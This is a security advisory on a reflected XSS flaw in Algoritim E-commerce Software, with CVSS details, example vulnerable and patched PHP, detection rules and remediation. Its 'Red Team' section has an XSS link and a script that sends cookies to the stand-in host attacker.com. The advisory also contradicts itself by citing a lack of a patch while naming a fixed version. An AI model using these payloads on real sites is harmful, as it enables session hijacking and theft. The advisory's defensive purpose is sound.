CVE-2023-6047

Executive Summary

CVE-2023-6047 is a reflected Cross-Site Scripting (XSS) vulnerability in Algoritim E-commerce Software versions prior to 3.9.2. The vulnerability allows an attacker to inject arbitrary web scripts or HTML via a crafted request, which is then reflected back to the user without proper sanitization. With a CVSS score of 6.1 (Medium), this flaw can be exploited to steal session cookies, deface web pages, or redirect users to malicious sites. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a public patch or exploit code increases the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a proprietary e-commerce software. Organizations using Algoritim E-commerce Software should verify their version and apply the vendor's update to 3.9.2 or later.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a public patch and the potential for session hijacking or phishing makes this a significant risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation. In Algoritim E-commerce Software, certain parameters (e.g., search queries, error messages) are reflected back to the user without proper encoding or validation. An attacker can craft a malicious URL containing JavaScript payloads, and when a victim clicks the link, the script executes in the context of the victim's browser.

Attack Flow:

1. Attacker identifies a reflected parameter (e.g., ?q=<script>alert(1)</script>).
2. Attacker crafts a phishing email or social engineering message with the malicious URL.
3. Victim clicks the link and the script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Root Cause: The application uses user input directly in HTTP responses without HTML encoding or output escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// vulnerable.php
$search = $_GET['q'];
echo "You searched for: " . $search;

Patched Code (Example):

// patched.php
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "You searched for: " . $search;

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Proof of Concept (PoC):

<!-- reflected_xss_poc.html -->
<a href="http://target.com/search?q=<script>alert('XSS')</script>">Click me</a>

Advanced Payload:

// steal_cookie.js
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;

Usage:

1. Host the PoC on a controlled server or send via email.
2. Victim clicks the link, triggering the XSS.
3. The payload exfiltrates cookies to the attacker's server.

Blue Team (Defensive)

Lab Setup:

• Deploy a vulnerable instance of Algoritim E-commerce Software (version < 3.9.2) in an isolated environment.
• Use a web application firewall (WAF) to test detection rules.
• Monitor logs for suspicious parameters containing <script> or onerror events.

Testing:

# Simulate attack with curl
curl "http://target.com/search?q=<script>alert(1)</script>"

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script>, onerror, onload, or javascript: in query parameters.
  • Outbound connections to unknown IPs or domains (potential data exfiltration).
• File IOCs:
  • Log entries with unencoded HTML tags in search or q parameters.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser.
  • Session cookie theft or account takeover attempts.

Detection Engineering

YARA Rule

rule CVE_2023_6047_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Algoritim E-commerce Software"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-6047"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss_uri = /(\?|&)(q|search|query)=.*?(<script|onerror|onload)/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Algoritim E-commerce
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS payloads in HTTP requests to Algoritim E-commerce Software
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6047 Reflected XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2023-6047 XSS Event Handler"; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to Algoritim E-commerce Software version 3.9.2 or later.
2. Virtual Patching: If upgrade is not possible, deploy a WAF rule to block requests containing <script>, onerror, or javascript: in query parameters.
3. Input Validation: Implement server-side validation and output encoding for all user-supplied data.
4. Content Security Policy (CSP): Add a strict CSP header to mitigate script execution.
5. User Education: Train users to avoid clicking suspicious links.

Valters IT Signature

Report generated by Valters IT DevSecOps Intelligence Unit